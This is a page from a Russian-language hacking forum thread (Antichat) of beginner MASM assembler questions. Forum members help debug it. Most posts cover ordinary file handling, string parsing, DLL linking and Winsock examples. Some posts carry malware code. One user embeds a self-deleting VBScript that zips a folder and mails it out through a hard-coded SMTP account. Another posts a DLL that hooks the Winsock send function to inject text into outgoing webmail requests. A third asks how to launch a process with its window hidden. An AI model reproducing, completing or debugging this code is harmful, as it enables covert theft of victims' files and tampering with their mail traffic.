FORUM.ANTICHAT.RU


PDA

Смотреть полную версию : [ Assembler ] — начинающим: задаем вопросы


Страницы : 1 2 3 4 [5] 6

Sams
14.06.2011, 22:43
MTV, работа с winsock + протокол SMTP
вот пример отправки почты _http://wasm.ru/article.php?article=simplesmtp

DooD
14.06.2011, 22:58
да сорец жестокий,только вот я что то там не узрел прикрепления файла...

Sams
14.06.2011, 23:05
Я чуть-чуть подозреваю, что он находится в конце статьи, и судя по всему выглядит вот так:

Но это всего лишь мои скромные догадки Т_Т

DooD
14.06.2011, 23:18
не ты не понял,я просмотрел исходник,я имею ввиду прикрепление файла в самой программе

MTV
15.06.2011, 12:03
Благодарю за ссылочку.А это только у меня 554 Ошибка синхронизации при отправление?Пробовал и програмно и вручную(
А кто еще подскажет как можно из файла прочитать например только 5 строчку с 5 по 10 символы?
И еще,ребят, как записать в фаил 2 строки к примеру,только что-бы каждая строка была в разных строчках!Делаю так:

.386
.model flat, stdcall
option casemap :none
;#######################################################
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\masm32.inc
include C:\masm32\include\shfolder.inc


includelib C:\masm32\lib\shfolder.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\masm32.lib
;#######################################################
.data?
hfile_data dd ?
.data
file db 'C:\test.txt',0
str1 db 'Stroka',0
str2 db 'S SSTROKA',0
chis db 6
chis2 db 9
.code
start:
en:
invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov ,eax
invoke SetFilePointer,hfile_data,0,0,FILE_BEGIN
invoke WriteFile,hfile_data,offset str1,6,offset chis,0
invoke WriteFile,hfile_data,offset str2,9,offset chis2,0
invoke CloseHandle,hfile_data
invoke ExitProcess,0
end start

Sams
16.06.2011, 20:05
По стандарту ASCII, строки между собой разделяются двумя байтами 13d 10d (переход на новую строку и перевод каретки). Парсишь в строке байт 10d 4 раза, в итоге оказываешься на 5-ой строке. Затем добавляешь к этому адресу 5 и получаешь смещение начала 6-го символа. А там уже через movsb можно скопировать в буфер.

.data
text db 'aaaaaaaaaaaaaaaaaaaaaaa',13d,10d,'bbbbbbbbbbbbbbbb',13d,10d,'cccccccccccccccccccccc',13d,10d,'ddddddddddddddddddd',13d,10d,'eeeee55555eeeeeeeeeeeeee',0
buff db 6d dup(0)

.code
Main:
mov ecx,4d ;"номер строки - 1"
mov edi,offset text
mov ax,10d

m1:
push ecx
xor ecx,ecx
dec ecx
clc
repnz scasb
pop ecx
loop m1

;здесь ты уже на начале 5-ой строки

add edi,5d ;номер символа в строке, от которого будем копировать
xchg edi,esi
mov edi,offset buff
mov ecx,5d ;количество копируемых символов
rep movsb

push 0
push offset buff
push offset buff
push 0
call MessageBoxA

push 0
call ExitProcess

MTV
16.06.2011, 21:53
Ребят,ругается на эту строчку:
VBS0 dd 'Const FOF_SIMPLEPROGRESS = 256',13d,10d,'Dim MySource, MyTarget, MyHex, MyBinary,i',13d,10d,'Dim oShell,oCTF',13d,10d,'Dim oFileSys',13d,10d
dd 'dim winShell',13d,10d,'dim newfolderpath',13d,10d,'dim t',13d,10d,'On Error Resume Next',13d,10d,'dim filesys, newfolder',13d,10d
dd'newfolderpath = "C:\nod"',13d,10d,'set filesys=CreateObject("scripting.FileSystemObject")',13d,10d
dd 'If Not filesys.FolderExists(newfolderpath) Then',13d,10d,'Set newfolder = filesys.CreateFolder(newfolderpath)',13d,10d,'End If',13d,10d
dd 'set filesys=Nothing',13d,10d,'Set newfolder=Nothing',13d,10d,'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',13d,10d
dd 'filePath = "C:\nod"',13d,10d,'MySource = filePath',13d,10d,'MyTarget = newfolderpath & "nod.zip"',13d,10d,'archPath_nod = "nod.zip"',13d,10d
dd 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',13d,10d,'For i = 0 To UBound(MyHex)',13d,10d
dd 'MyBinary = MyBinary & Chr(MyHex(i))',13d,10d,'Next',13d,10d,'Set oShell = CreateObject("Wscript.Shell")',13d,10d
dd 'Set oFileSys = CreateObject("scripting.FileSystemObject")',13d,10d,'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',13d,10d
dd 'oCTF.Write MyBinary',13d,10d,'oCTF.Close',13d,10d,'Set oCTF = Nothing',13d,10d,'set winShell = createObject("shell.application")',13d,10d
dd 'winShell.namespace(MyTarge,t).CopyHere MySource',13d,10d,'wscript.Sleep(5000)',13d,10d,'Set oFileSys = Nothing',13d,10d
dd 'Set oShell = Nothing',13d,10d,'set WshShell = Nothing',13d,10d,'set WshShell1 = Nothing',13d,10d,'on error resume next',13d,10d
dd 'Set S = CreateObject("Wsсriрt.Shell")',13d,10d,'set FSO=createobject("sсriрting.filesystemobject")',13d,10d
dd 'Call SendPost("smtp.mail.ru","*********","*******","Finich","Finich")',13d,10d
dd 'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',13d,10d,'Set iMsg=CreateObject("CDO.Message")',13d,10d
dd 'Set iConf=CreateObject("CDO.Configuration")',13d,10d,'Set Flds=iConf.Fields',13d,10d
dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',13d,10d
dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',13d,10d
dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="*********"',13d,10d
dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="*********"',13d,10d
dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',13d,10d
dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',13d,10d,'Flds.Update',13d,10d,'iMsg.Configuration=iConf',13d,10d
dd 'iMsg.To=strTo',13d,10d,'iMsg.From=strFrom',13d,10d,'iMsg.Subject=strSubject',13d,10d,'iMsg.TextBody=strBody',13d,10d
dd 'iMsg.AddAttachment"C:\nodnod.zip"',13d,10d,'iMsg.Send',13d,10d,'End Function',13d,10d,'Set iMsg=Nothing',13d,10d,'Set iConf=Nothing',13d,10d
dd 'Set Flds=Nothing',13d,10d,'fso.deletefile "C:\nodnod.zip",1',13d,10d,'FSO.deletefile wscript.scriptfullname',0Пишет:Constant value too large и
initializer magnitude too large for specfied size.Что делать?

DooD
16.06.2011, 21:57
ты пытаешься расписать весь вбс скрипт назвав только одну строку?и почему dd если db? и строка оканчивается нулем.

MTV
16.06.2011, 22:05
Я делал и вот так:
VBS0 dd 'Const FOF_SIMPLEPROGRESS = 256',13d,10d,'Dim MySource, MyTarget, MyHex, MyBinary,i',13d,10d,'Dim oShell,oCTF',13d,10d,'Dim oFileSys',13d,10d, 'dim winShell',13d,10d,'dim newfolderpath',13d,10d,'dim t',13d,10d,'On Error Resume Next',13d,10d,'dim filesys, newfolder',13d,10d,'newfolderpath = "C:\nod"',13d,10d,'set filesys=CreateObject("scripting.FileSystemObject")',13d,10d, 'If Not filesys.FolderExists(newfolderpath) Then',13d,10d,'Set newfolder = filesys.CreateFolder(newfolderpath)',13d,10d,'End If',13d,10d,'set filesys=Nothing',13d,10d,'Set newfolder=Nothing',13d,10d,'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',13d,10d, 'filePath = "C:\nod"',13d,10d,'MySource = filePath',13d,10d,'MyTarget = newfolderpath & "nod.zip"',13d,10d,'archPath_nod = "nod.zip"',13d,10d, 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',13d,10d,'For i = 0 To UBound(MyHex)',13d,10d,'MyBinary = MyBinary & Chr(MyHex(i))',13d,10d,'Next',13d,10d,'Set oShell = CreateObject("Wscript.Shell")',13d,10d,'Set oFileSys = CreateObject("scripting.FileSystemObject")',13d,10d,'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',13d,10d,'oCTF.Write MyBinary',13d,10d,'oCTF.Close',13d,10d,'Set oCTF = Nothing',13d,10d,'set winShell = createObject("shell.application")',13d,10d,'winShell.namespace(MyTarge,t).CopyHere MySource',13d,10d,'wscript.Sleep(5000)',13d,10d,'Set oFileSys = Nothing',13d,10d,'Set oShell = Nothing',13d,10d,'set WshShell = Nothing',13d,10d,'set WshShell1 = Nothing',13d,10d,'on error resume next',13d,10d,'Set S = CreateObject("Wsсriрt.Shell")',13d,10d,'set FSO=createobject("sсriрting.filesystemobject")',13d,10d,'Call SendPost("smtp.mail.ru","******","*********","Finich","Finich")',13d,10d,'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',13d,10d,'Set iMsg=CreateObject("CDO.Message")',13d,10d,'Set iConf=CreateObject("CDO.Configuration")',13d,10d,'Set Flds=iConf.Fields',13d,10d, 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="********"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="********"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',13d,10d,'Flds.Update',13d,10d,'iMsg.Configuration=iConf',13d,10d,'iMsg.To=strTo',13d,10d,'iMsg.From=strFrom',13d,10d,'iMsg.Subject=strSubject',13d,10d,'iMsg.TextBody=strBody',13d,10d,'iMsg.AddAttachment"C:\nodnod.zip"',13d,10d,'iMsg.Send',13d,10d,'End Function',13d,10d,'Set iMsg=Nothing',13d,10d,'Set iConf=Nothing',13d,10d,'Set Flds=Nothing',13d,10d,'fso.deletefile "C:\nodnod.zip",1',13d,10d,'FSO.deletefile wscript.scriptfullname',0
Показывает:Statement too comlpex и line to long.

DooD
16.06.2011, 22:06
Запиши скрипт как строки просто

VBS0 db 'Const FOF_SIMPLEPROGRESS = 256',0
vbs1 db 'Dim MySource, MyTarget, MyHex, MyBinary,i',0
и т.д.

MTV
16.06.2011, 22:11
Я так писал, а как мне потом записать их в фаил с новой строки?
Вот как я делал:

s1 db 'Const FOF_SIMPLEPROGRESS = 256',0dh,0ah,0
ss1 db 30
s2 db 'Dim MySource, MyTarget, MyHex, MyBinary,i',0
ss2 db 41
s3 db 'Dim oShell,oCTF',0
s4 db 'Dim oFileSys',0
s5 db 'dim winShell',0
s6 db 'dim newfolderpath',0
s7 db 'dim t',0
s8 db 'On Error Resume Next',0
s9 db 'dim filesys, newfolder',0
s10 db 'newfolderpath = "C:\nod"',0
s11 db 'set filesys=CreateObject("scripting.FileSystemObject")',0
s12 db 'If Not filesys.FolderExists(newfolderpath) Then',0
s13 db 'Set newfolder = filesys.CreateFolder(newfolderpath)',0
s14 db 'End If',0
s15 db 'set filesys=Nothing',0
s16 db 'Set newfolder=Nothing',0
s17 db 'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',0
s18 db 'filePath = "C:\nod"',0
s19 db 'MySource = filePath',0
s20 db 'MyTarget = newfolderpath & "nod.zip"',0
s21 db 'archPath_nod = "nod.zip"',0
s22 db 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',0
s23 db 'For i = 0 To UBound(MyHex)',0
s24 db 'MyBinary = MyBinary & Chr(MyHex(i))',0
s25 db 'Next',0
s26 db 'Set oShell = CreateObject("Wscript.Shell")',0
s27 db 'Set oFileSys = CreateObject("scripting.FileSystemObject")',0
s28 db 'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',0
s29 db 'oCTF.Write MyBinary',0
s30 db 'oCTF.Close',0
s31 db 'Set oCTF = Nothing',0
s32 db 'set winShell = createObject("shell.application")',0
s33 db 'winShell.namespace(MyTarget).CopyHere MySource',0
s34 db 'wscript.Sleep(5000)',0
s35 db 'Set oFileSys = Nothing',0
s36 db 'Set oShell = Nothing',0
s37 db 'set WshShell = Nothing',0
s38 db 'set WshShell1 = Nothing',0
str1 db 'on error resume next',0
str2 db 'Set S = CreateObject("Wsсriрt.Shell")',0
str3 db 'set FSO=createobject("sсriрting.filesystemobject")',0
str4 db 'Call SendPost("smtp.mail.ru","********","*******","Finich","Finich")',0
str5 db 'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',0
str6 db 'Set iMsg=CreateObject("CDO.Message")',0
str7 db 'Set iConf=CreateObject("CDO.Configuration")',0
str8 db 'Set Flds=iConf.Fields',0
str9 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',0
str10 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',0
str11 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="*********"',0
str12 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="********"',0
str13 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',0
str14 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',0
str15 db 'Flds.Update',0
str16 db 'iMsg.Configuration=iConf',0
str17 db 'iMsg.To=strTo',0
str18 db 'iMsg.From=strFrom',0
str19 db 'iMsg.Subject=strSubject',0
str20 db 'iMsg.TextBody=strBody',0
str21 db 'iMsg.AddAttachment"C:\nodnod.zip"',0
str22 db 'iMsg.Send',0
str23 db 'End Function',0
str24 db 'Set iMsg=Nothing',0
str25 db 'Set iConf=Nothing',0
str26 db 'Set Flds=Nothing',0
str27 db 'fso.deletefile "C:\nodnod.zip",1',0
str28 db 'FSO.deletefile wscript.scriptfullname',0
.code
invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov ,eax
invoke SetFilePointer,handle,0,0,FILE_BEGIN
invoke WriteFile,handle,addr s1,30,addr ss1,0
invoke WriteFile,handle,addr s2,41,addr ss2,0
и т.д.
invoke CloseHandle,handle
Не получается((

DooD
16.06.2011, 22:14
ну так тебе ж надо возврат каретки делать и перенос строки, для этого сделай еще одну переменную вида:
cr db 0dh,0ah,0
записуй в файл после каждой записи строки скрипта,выделяя по 2 байта в буфере

MTV
16.06.2011, 22:30
А ну с кареткой разобрался,спасибо.Вот посмотри, когда я записываю в фаил 1 и 2 строку у меня почему-то записывается в фаил null null null вместо слова.Вроде байты правильно расставляю.Вот отрывок кода:

.data?
handle dd ?
.data
cr db 0dh,0ah
cr1 db 2
file db 'C:\nod.txt',0
s1 db 'Const FOF_SIMPLEPROGRESS = 256',0
ss1 db 31
s2 db 'Dim MySource, MyTarget, MyHex, MyBinary,i,',0
ss2 db 42
.code
invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov ,eax
invoke SetFilePointer,handle,0,0,FILE_BEGIN
invoke WriteFile,handle,addr s1,31,addr ss1,0
invoke WriteFile,handle,addr cr,2,addr cr1,0
invoke WriteFile,handle,addr s2,42,addr ss2,0
invoke CloseHandle,handle
В фаил записывается:
Const FOF_SIMPLEPROGRESS = 256NULL
NULLNULLNULLMySource, MyTarget, MyHex, MyBinary,i,
Почему так?

DooD
16.06.2011, 22:42
там не надо addr ss1. в этом флаге указатель на переменную, которая получает число записанных байтов. Если асинхронный буфер =0 (то есть последний флаг) то запись должна быть такая:
переменная temp dd ?

invoke WriteFile,handle,addr s1,31,addr temp,0

Sams
16.06.2011, 22:46
Потому что это не ASCIIZ строка, она не должна заканчиваться нулевым байтом. Вместо него сделай 2 байта перевод на новую строку и перевод каретки.
Т.е. вместо "file db 'C:\nod.txt',0" надо "file db 'C:\nod.txt',13d,10d" и так в каждой строке.
А зачем вообще между строк "ss1 db 31" это к примеру? Пиши строки скрипта подряд. Потом в конце добавь константу s_size equ ($-offset s1)
и передай её, как количество записываемых байт, в WriteFile. Тогда тебе не нужно будет вызывать WriteFile много раз, а всего один.

MTV
17.06.2011, 14:05
Ребят а в чем тут проблема?
.386
.model flat, stdcall
option casemap :none
;#######################################################
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\masm32.inc


includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\masm32.lib
;#######################################################
.data?
handle dd ?
text db ?
pr dd ?
.data
test1 db 'C:\test.ini',0
buff db 6d dup(0)
.code
start:
invoke CreateFile,addr test1,GENERIC_READ,FILE_SHARE_READ,0,0,FILE_ATTRIBUTE_NORMAL,0
mov handle,eax
xor eax,eax
invoke ReadFile,handle,addr text,109,addr pr,0
invoke CloseHandle,handle

mov ecx,5d ;"номер строки - 1"
mov edi,offset text
mov ax,10d

m1:
push ecx
xor ecx,ecx
dec ecx
clc
repnz scasb
pop ecx
loop m1

;здесь ты уже на начале 5-ой строки

add edi,15d ;номер символа в строке, от которого будем копировать
xchg edi,esi
mov edi,offset buff
mov ecx,16d ;количество копируемых символов
rep movsb
push 0
push offset buff
push offset buff
push 0
call MessageBoxA

push 0
call ExitProcess
end start

MTV
17.06.2011, 14:21
Когда запуская пишет:Ошибка приложения
Инструкция по адресу "0х0040105а обратилась к памяти по адресу "0х00404000".Память не может быть "read".

MTV
17.06.2011, 14:25
А я хочу прочитать из файла 16 симолов, которые находятся на 5 строке начиная с 15 символа.Что не кто не знает?? :rolleyes:

MTV
19.06.2011, 19:10
Ребят че я опять не так делаю?Хочу прочитать из файла!Вот код:
.386
.model flat, stdcall
option casemap :none
;#######################################################
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\masm32.inc


includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\masm32.lib
;#######################################################
.data?
handle dd ?
text db ?
pr dd ?
size1 dd ?
.data
test1 db 'C:\test.txt',0
.code
start:
invoke CreateFile,offset test1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
mov ,eax
invoke GetFileSize,,0
mov ,eax
invoke ReadFile,,offset text,,addr pr,0
invoke CloseHandle,handle
invoke MessageBox,0,addr text,addr text,MB_OK
invoke ExitProcess,0
end start

DooD
19.06.2011, 19:33
.386
.model flat, stdcall
option casemap :none
;################################################# ######
include include\windows.inc
include include\user32.inc
include include\kernel32.inc
include include\masm32.inc


includelib lib\user32.lib
includelib lib\kernel32.lib
includelib lib\masm32.lib
;################################################# ######
.data?
handle dd ?
text dd 256 dup (?)
pr dd ?
size1 dd ?
.data
test1 db 'C:\cmdbar.ini',0
.code
start:
invoke CreateFile,addr test1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
mov handle,eax
invoke GetFileSize,handle,0

invoke ReadFile,handle,addr text,eax,addr pr,0
invoke CloseHandle,handle
invoke MessageBox,0,addr text,addr text,MB_OK
invoke ExitProcess,0
end start;This program was created on assembler editor

не понял причем тут скобки были.
скобки нужны чтобы поместить значение по адресу расположенном в регистре.
не понял к чему тут ето было
mov ,eax
почему перед в readfile нету addr?
пиши вместо offset addr ты ж сам себя путаешь,и смотри почаще в справочник апи.даже ж буфер не указал...

becensed
19.06.2011, 19:41
видимо с фасма переписывал :)

MTV
20.06.2011, 17:24
Ребят,подскажите.Как в переменной обьявить обратный слэш.Ну то есть в строке.Вот пример:
str db '/',0

DooD
20.06.2011, 17:26
в смысле? \?

MTV
20.06.2011, 17:28
да да сори)спутал))Все все разобрался!Спасибо всем!

ShyRka_coder
20.06.2011, 22:55
//////////////////////////////2////////////////////////////
написать макрокоманду, что реализует преобразование отрицательное целого типа dword в прямой код. Входные данные находятся в регистрах DX: AX
//////////////

Кто поможет это сделать, я знаю вроде тут не сложно просто реально нет времени учить асм, а екзамен скора! Так бы на примере разобрался побыстрей!!
Сяб наперёд !!

dqod626
21.06.2011, 01:52
В чём разница между сборками БТ5 на платформах arm, 32bit, 64bit? И чем отличаются KDE от Gnome. Хотелось бы услышать плюсы и минусы тех или иных вариаций BackTrack5

AnGeI
21.06.2011, 02:46
Под разные архитектуры процессора.

Ссылка.

Нету никаких вариаций.

Вопрос к вам: как ваши вопросы относятся к assembler?

MTV
02.07.2011, 19:26
Ребят,как можно сделать,что-бы функция проверяла наличие файла?То есть если нет файла переходим на метку....

bad_boy
02.07.2011, 19:49
MTV, если нужен хэндл файла то, например, CreateFile с флагом OPEN_EXISTING

MTV
02.07.2011, 19:55
Нет не хэндл.Просто нужно было проверить существует ли файл.Уже сам разобрался....помогла волшебная winapi функция GetFileAttributes.

TikTik
03.07.2011, 16:35
Обьясниете пожалуйста как скомпилировать код написанный на masm32 в dll

DooD
03.07.2011, 16:40
polink.exe /dll /def:<file>.def /subsystem:windows <file>.obj

TikTik
03.07.2011, 17:07
это надо сделать батник такой ??
У меня таолько файл .asm и файл .def

DooD
03.07.2011, 17:12
правильно. ассемблируешь файл *.asm получаешь объектный модуль *.obj дальше линкуешь как я выше написал.

TikTik
03.07.2011, 17:45
.486
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
include \masm32\macros\inject.asm



uselib kernel32, user32, masm32, Shlwapi

urlencodeW proto :DWORD, :DWORD, :DWORD

.data
message_add db 13,10,"payload",0

textlen dd 0
mess_len dd 0

misc db 100 dup (0)
header db 100 dup (0)
header1 db 100 dup (0)

message_w dword ?
message_add_urlenc dword ?
message dword ?
request dword ?
request_final dword ?
temp dword ?


iAlloc MACRO size:REQ
invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE
EXITM <eax>
ENDM

iFree MACRO memaddr:REQ
invoke VirtualFree,&memaddr,0,MEM_RELEASE
ENDM

.code

MyFunc:
push ebp
mov ebp,esp



mov ebx,FUNC(StrStrA,,chr$("POST /mail.php HTTP"))
mov eax,FUNC(StrStrA,,chr$("act=sent"))

.if ebx != 0 && eax != 0

invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0
mov ebx,eax

mov message_w,iAlloc(ebx)

invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx

mov eax,6
mul ebx
mov message_add_urlenc,iAlloc(ebx)
invoke urlencodeW,message_w,message_add_urlenc,ebx

iFree message_w

add ebx,
mov textlen,ebx



mov request,iAlloc(textlen)

invoke StrStr,,chr$("&message=")
mov esi,eax

inc esi
push esi

xor ecx,ecx
.while al != '&'
inc ecx
lodsb
.endw
pop esi


dec ecx
mov mess_len,ecx


mov eax,mess_len
add eax,textlen


mov temp,iAlloc(eax)


mov message,iAlloc(mess_len)


fn szMid,esi,message,0,mess_len

invoke lstrcpy,temp,message


invoke lstrcat,temp,message_add_urlenc


iFree message_add_urlenc


fn szRep,,request,message,temp



iFree temp
iFree message


invoke StrStr,request,chr$(13,10,13,10)
add eax,4


invoke lstrlen,eax


invoke wsprintf,offset header,chr$("Content-Length: %u"),eax


invoke StrStr,,chr$("Content-Length: ")
mov esi,eax
add esi,16

push esi

xor ecx,ecx
.while al != 13 ; \r
inc ecx
lodsb
.endw

pop esi


fn szMid,esi,offset misc,0,ecx


invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc

invoke lstrlen,request
add eax,5

mov request_final,iAlloc(eax)


fn szRep,request,request_final,offset header1,offset header

iFree request


invoke lstrlen,request_final
HOOK_ORIGINAL_CALL_PARAM send,1,,request_final,eax,

iFree request_final


mov eax,

.else

HOOK_ORIGINAL_CALL send, 4

.endif


pop ebp
retn 4*4


LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD

.if reason == DLL_PROCESS_ATTACH

SET_HOOK wsock32.dll, send, MyFunc

mov eax,1
.endif

ret
LibMain ENDP

urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
push esi
push edi
push ebx

mov esi,result_buffer
mov edi,text_to_convert


loop_enc:
mov eax,esi
sub eax,result_buffer
mov ebx,result_buffer_len
sub ebx,4

.if eax>=ebx
jmp loop_enc_end
.endif

mov al,byte ptr

.if al<80h
.if al==' '
mov byte ptr ,'+'
inc esi
.elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-'
movzx eax,al
invoke wsprintf,esi,chr$("%%%02X"),eax
add esi,3
.else
mov byte ptr ,al
inc esi
.endif
.else
movzx eax,al
invoke wsprintf,esi,chr$("%%%02X"),eax
add esi,3
.endif

inc edi
mov bl,byte ptr
test bl,bl
jne loop_enc

loop_enc_end:

mov byte ptr ,0
pop ebx
pop edi
pop esi
ret
urlencode ENDP

urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
LOCAL convert_buffer :DWORD
LOCAL convert_buffer_len :DWORD

push esi
push edi
push ebx

invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0
.if eax>0
inc eax
mov convert_buffer_len,eax

invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
.if eax==0
mov eax,1
jmp conv_error
.endif
.else
mov eax,2
jmp conv_error
.endif

mov convert_buffer,eax

invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0

.if eax==0
invoke VirtualFree,convert_buffer,0,MEM_RELEASE
mov eax,3
jmp conv_error
.endif

invoke urlencode,convert_buffer,result_buffer,result_buffer_len

invoke VirtualFree,convert_buffer,0,MEM_RELEASE

xor eax,eax
pop ebx
pop edi
pop esi
ret

conv_error:
pop ebx
pop edi
pop esi
ret
urlencodeW ENDP

end LibMain


вот код mem.asm

вот код mem.def

LIBRARY mem

нечего не получается :(

DooD
03.07.2011, 17:57
ты функцию не экспортируешь?

TikTik
03.07.2011, 18:09
нет вот как есть так и должно быть в dll

DooD
03.07.2011, 20:55
что линкер пишет?

2serg2
07.07.2011, 20:18
Подскажите, как мне скрыть окно, например, калькулятора, который я запускаю при помощи функции CreateProcessA. Я написал нижеприведённый код, но не знаю, как к нему приделать ShowWindow. Мне нужно ввести всё это прямо в отладчике OllyDbg.

PUSH 403010
PUSH 403030
PUSH 0
PUSH 0
PUSH 20
PUSH 0
PUSH 0
PUSH 0
PUSH 0
PUSH 403000 - c:\windows\system32\calc.exe
CALL CreateProcessA

GRRRL Power
07.07.2011, 21:02
http://msdn.microsoft.com/en-us/library/ms686331%28v=vs.85%29.aspx
Думаю, что параметр wShowWindow должен помочь. Только придется ручками составить структуру, чтобы ее передать в CreateProcessA.

2serg2
08.07.2011, 10:17
Спасибо за подсказку. Написал скрипт, при помощи программы Neo Sign 0f Misery, скрывающий окно. Затем при помощи отладчика посмотрел, как заполнено STARTUPINFO.

MTV
08.07.2011, 16:26
Народ,начал изучать WinSock.Вот наткнулся на исходники sams`a.Вот серверная часть:
.386
.model Flat, StdCall
option casemap:none
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\wsock32.inc
include \masm32\include\windows.inc
.data
wsadata WSADATA <>
mCaption db "Error! Suxx!", 0
mText1 db "Error WSAStartUp", 0
mText2 db "Error2", 0
hSock DWORD ?
hSock2 dd ?
sin sockaddr_in <>
sPort DWORD 6001
sIP db "127.0.0.1", 0
buffer db 1024 dup (0)
mCaption2 db "Woohoo", 0
mText3 db "Connected!", 0

.code
Main:

invoke WSAStartup, 101h, ADDR wsadata
.if eax!=NULL
invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
.endif

invoke socket, AF_INET, SOCK_STREAM, 0
.if eax==INVALID_SOCKET
invoke WSAGetLastError
.endif
mov hSock, eax

invoke htons, sPort
mov sin.sin_port, ax
invoke inet_addr, ADDR sIP
mov sin.sin_addr, eax
mov sin.sin_family, AF_INET

invoke bind, hSock, ADDR sin, sizeof sin
invoke listen, hSock, SOMAXCONN
invoke accept, hSock, NULL, NULL
mov hSock2, eax

datarecv:
invoke recv, hSock2, ADDR buffer, 1024, 0
.if byte ptr buffer=="Q"
invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption2, 0
jmp Quit
.endif

jmp datarecv

Quit:
invoke WSACleanup
invoke ExitProcess, 0
end Main
Клиент:
.386
.model flat, stdcall
option casemap:none
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\wsock32.inc
include \masm32\include\windows.inc
.data
wsadata WSADATA <>
mCaption db "Error! Suxx!", 0
mText1 db "Error WSAStartUp", 0
mText2 db "Error Connect", 0
mText3 db "Error Send", 0
hSock DWORD ?
hSock2 dd ?
sin sockaddr_in <>
sPort DWORD 6001
sIP db "127.0.0.1", 0
buffer db "Q", 0

.code
Main:

invoke WSAStartup, 101h, ADDR wsadata
.if eax!=NULL
invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
jmp Quit
.endif

invoke socket, AF_INET, SOCK_STREAM, 0
.if eax==INVALID_SOCKET
invoke WSAGetLastError
jmp Quit
.endif
mov hSock, eax

invoke htons, sPort
mov sin.sin_port, ax
invoke inet_addr, ADDR sIP
mov sin.sin_addr, eax
